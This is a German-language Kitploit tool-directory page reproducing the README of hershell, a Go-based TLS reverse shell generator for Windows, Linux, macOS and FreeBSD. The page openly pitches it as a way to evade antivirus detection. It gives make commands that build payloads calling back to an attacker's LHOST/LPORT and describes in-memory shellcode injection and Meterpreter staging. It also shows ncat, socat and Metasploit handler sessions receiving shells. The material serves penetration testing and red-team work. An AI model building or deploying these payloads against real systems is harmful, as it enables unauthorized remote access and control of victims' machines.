Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
hershell — Multiplattform Reverse Shell Generator | Kitploit
Tools/GitHubGitHub/lesnuages/hershell
Verschlüsselungs-/EntschlüsselungstoolsPayload-GenerierungExploitationShellcodePost-ExploitationPenetrationstestsCommand and ControlRed TeamingPayload-Entwicklung
GitHublesnuages/hershell

hershell

Multiplattform Reverse Shell Generator

59298vor 6 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigen

Hershell

Einfacher TCP-Reverse-Shell geschrieben in Go.

Es verwendet TLS, um die Kommunikation zu sichern, und bietet eine Funktion zum Pinnen des Fingerabdrucks des öffentlichen Schlüssels des Zertifikats, um das Abfangen von Datenverkehr zu verhindern.

Unterstützte Betriebssysteme sind:

  • Windows
  • Linux
  • Mac OS
  • FreeBSD und Derivaten

Warum ?

Obwohl Meterpreter-Payloads großartig sind, werden sie manchmal von AV-Produkten erkannt.

Das Ziel dieses Projekts ist es, eine einfache Reverse-Shell zu erhalten, die auf mehreren Systemen funktioniert.

Wie ?

Da es in Go geschrieben ist, können Sie den Quellcode für die gewünschte Architektur cross-kompilieren.

Erste Schritte & Abhängigkeiten

Da es sich um ein Go-Projekt handelt, müssen Sie der offiziellen Dokumentation folgen, um Ihre Golang-Umgebung einzurichten (mit der Umgebungsvariablen $GOPATH).

Führen Sie dann einfach go get github.com/lesnuages/hershell aus, um das Projekt zu holen.

Erstellen des Payloads

Um die Sache zu vereinfachen, können Sie das bereitgestellte Makefile verwenden. Sie können die folgenden Umgebungsvariablen setzen:

  • GOOS : das Ziel-Betriebssystem
  • GOARCH : die Ziel-Architektur
  • LHOST : die IP oder der Domainname des Angreifers
  • LPORT : der Listener-Port

Für die Variablen GOOS und GOARCH finden Sie die zulässigen Werte hier.

Einige Hilfsziele sind jedoch im Makefile verfügbar:

  • depends : generiert das Server-Zertifikat (erforderlich für die Reverse-Shell)
  • windows32 : erstellt eine Windows 32-Bit ausführbare Datei (PE 32-Bit)
  • windows64 : erstellt eine Windows 64-Bit ausführbare Datei (PE 64-Bit)
  • linux32 : erstellt eine Linux 32-Bit ausführbare Datei (ELF 32-Bit)
  • linux64 : erstellt eine Linux 64-Bit ausführbare Datei (ELF 64-Bit)
  • macos32 : erstellt eine Mac OS 32-Bit ausführbare Datei (Mach-O)
  • macos64 : erstellt eine Mac OS 64-Bit ausführbare Datei (Mach-O)

Für diese Ziele müssen Sie nur die Umgebungsvariablen LHOST und LPORT setzen.

Verwenden der Shell

Nach der Ausführung erhalten Sie eine Remote-Shell. Diese benutzerdefinierte interaktive Shell ermöglicht es Ihnen, Systembefehle über cmd.exe unter Windows oder /bin/sh auf UNIX-Maschinen auszuführen.

Die folgenden speziellen Befehle werden unterstützt:

  • run_shell : gibt Ihnen eine System-Shell (erlaubt z.B. das Wechseln von Verzeichnissen)
  • inject <base64 shellcode> : injiziert einen Shellcode (base64-kodiert) in den gleichen Prozessspeicher und führt ihn aus
  • meterpreter [tcp|http|https] IP:PORT : verbindet sich mit einem multi/handler, um einen Stage2 Reverse TCP, HTTP oder HTTPS Meterpreter von Metasploit zu erhalten und führt den Shellcode im Speicher aus (derzeit nur Windows)
  • exit : beendet sauber

Verwendung

Zunächst müssen Sie ein gültiges Zertifikat generieren:

root@kitploit:~
$ make depends
openssl req -subj '/CN=yourcn.com/O=YourOrg/C=FR' -new -newkey rsa:4096 -days 3650 -nodes -x509 -keyout server.key -out server.pem
Generating a 4096 bit RSA private key
....................................................................................++
.....++
writing new private key to 'server.key'
-----
cat server.key >> server.pem

Für Windows:

root@kitploit:~
# Predifined 32 bit target
$ make windows32 LHOST=192.168.0.12 LPORT=1234
# Predifined 64 bit target
$ make windows64 LHOST=192.168.0.12 LPORT=1234

Für Linux:

root@kitploit:~
# Predifined 32 bit target
$ make linux32 LHOST=192.168.0.12 LPORT=1234
# Predifined 64 bit target
$ make linux64 LHOST=192.168.0.12 LPORT=1234

Für Mac OS X

root@kitploit:~
$ make macos LHOST=192.168.0.12 LPORT=1234

Beispiele

Grundlegende Verwendung

Man kann verschiedene Tools verwenden, um eingehende Verbindungen zu handhaben, wie z.B.:

  • socat
  • ncat
  • openssl server module
  • metasploit multi handler (mit einem python/shell_reverse_tcp_ssl Payload)

Hier ist ein Beispiel mit ncat:

root@kitploit:~
$ ncat --ssl --ssl-cert server.pem --ssl-key server.key -lvp 1234
Ncat: Version 7.60 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 172.16.122.105.
Ncat: Connection from 172.16.122.105:47814.
[hershell]> whoami
desktop-3pvv31a\lab

Hier ist ein Beispiel mit socat (getestet mit Version 1.7.3.2):

root@kitploit:~
$ socat `tty` OPENSSL-LISTEN:1234,reuseaddr,cert=server.pem,key=server.key,verify=0
# connection would be initiated here
[hershell]> whoami
desktop-3pvv31a\lab

Meterpreter Staging

WARNUNG: Dies funktioniert derzeit nur auf der Windows-Plattform.

Das Meterpreter Staging unterstützt derzeit folgende Payloads:

  • windows/meterpreter/reverse_tcp
  • windows/x64/meterpreter/reverse_tcp
  • windows/meterpreter/reverse_http
  • windows/x64/meterpreter/reverse_http
  • windows/meterpreter/reverse_https
  • windows/x64/meterpreter/reverse_https

Um den richtigen zu verwenden, geben Sie einfach den gewünschten Transport an (tcp, http, https)

Um die Meterpreter-Staging-Funktion zu nutzen, starten Sie einfach Ihren Handler:

root@kitploit:~
[14:12:45][172.16.122.105][Sessions: 0][Jobs: 0] > use exploit/multi/handler
[14:12:57][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_https
payload => windows/x64/meterpreter/reverse_https
[14:13:12][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set lhost 172.16.122.105
lhost => 172.16.122.105
[14:13:15][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set lport 8443
lport => 8443
[14:13:17][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set HandlerSSLCert ./server.pem
HandlerSSLCert => ./server.pem
[14:13:26][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > exploit -j
[*] Exploit running as background job 0.

[*] [2018.01.29-14:13:29] Started HTTPS reverse handler on https://172.16.122.105:8443
[14:13:29][172.16.122.105][Sessions: 0][Jobs: 1] exploit(multi/handler) >

Dann verwenden Sie in hershell den Befehl meterpreter:

root@kitploit:~
[hershell]> meterpreter https 172.16.122.105:8443

Eine neue Meterpreter-Sitzung sollte in msfconsole erscheinen:

root@kitploit:~
[14:13:29][172.16.122.105][Sessions: 0][Jobs: 1] exploit(multi/handler) >
[*] [2018.01.29-14:16:44] https://172.16.122.105:8443 handling request from 172.16.122.105; (UUID: pqzl9t5k) Staging x64 payload (206937 bytes) ...
[*] Meterpreter session 1 opened (172.16.122.105:8443 -> 172.16.122.105:44804) at 2018-01-29 14:16:44 +0100

[14:16:46][172.16.122.105][Sessions: 1][Jobs: 1] exploit(multi/handler) > sessions

Active sessions
===============

  Id  Name  Type                     Information                            Connection
  --  ----  ----                     -----------                            ----------
  1         meterpreter x64/windows  DESKTOP-3PVV31A\lab @ DESKTOP-3PVV31A  172.16.122.105:8443 -> 172.16.122.105:44804 (10.0.2.15)

[14:16:48][172.16.122.105][Sessions: 1][Jobs: 1] exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: DESKTOP-3PVV31A\lab

Danksagungen

@khast3x für die Dockerfile-Funktion

Tool herunterladen